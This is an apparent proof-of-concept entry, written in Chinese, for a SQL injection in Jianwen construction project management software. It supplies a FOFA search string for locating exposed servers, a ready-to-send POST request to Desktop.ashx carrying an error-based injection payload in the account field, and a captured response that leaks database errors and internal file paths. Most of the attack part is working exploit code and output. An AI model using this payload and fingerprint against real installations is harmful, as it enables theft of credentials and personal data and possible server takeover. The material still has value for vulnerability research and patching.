

# J18-2建文-工程项目管理软件-SQL

## 漏洞描述:

建文工程项目管理软件BusinessManger.ashx、Desktop.ashx等接口处存在SQL注入漏洞，攻击者可通过该漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

## 影响版本:

- 建文-工程项目管理软件

## 网站图片:



## 网络测绘:

### fofa语法:

FOFA: body="建文工程项目管理软件"

## 漏洞复现:

### payload:

```
POST /SysFrame4/Desktop.ashx HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

account=1'+and+%01(select db_name())<0--&method=isChangePwd&pwd=
```

### 效果图:

查询当前数据库

Request

< > 数据包扫描 热加载 构造请求

1 POST /SysFrame4/Desktop.ashx HTTP/1.1

2 Host: :8010

3 Content-Type: application/x-www-form-urlencoded

4 Accept-Encoding: gzip

5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

6

7 account=1'+and+%01(select db\_name())<0--&method=isChangePwd&pwd=

Responses 1404bytes / 66ms

1 HTTP/1.1 200 OK

2 Cache-Control: private

3 Content-Type: text/plain; charset=utf-8

4 Vary: Accept-Encoding

5 Server: Microsoft-IIS/8.5

6 X-AspNet-Version: 4.0.30319

7 X-Powered-By: ASP.NET

8 Date: Thu, 30 Nov 2023 14:08:00 GMT

9 Content-Length: 1404

10

11 {"state":3,"res":"System.Data.SqlClient.SqlException: 在 (SqlConnection.exception, Boolean.breakCon System.Data.SqlClient.TdsParser.ThrowExcep Boolean.callerHasConnectionLock, Boolean TdsParser.TryRun(RunBehavior.runBehavior, dataStream, BulkCopySimpleResultSet.bulkC Boolean& dataReady)\r\n\r\n在 System.Data. (Boolean& moreRows)\r\n\r\n在 System.Data. (Boolean& setTimeout, Boolean& more)\r\n\r\n\r\n在 System.Data.SqlClient.SqlComm Boolean& returnSqlValue)\r\n\r\n在 System.D: 在 cn.justwin.DAL.SqlHelper.ExecuteScalar( SqlParameter[]& commandParameters) 位置: E:\ 140\r\n\r\n在 getTree.isChangePwd() 位置: d:\web\20200523\PM20210321\SysFrame4\ 331\r\n\r\nClientConnectionId:2d070559-1d73-4d State:1,Class:16"}"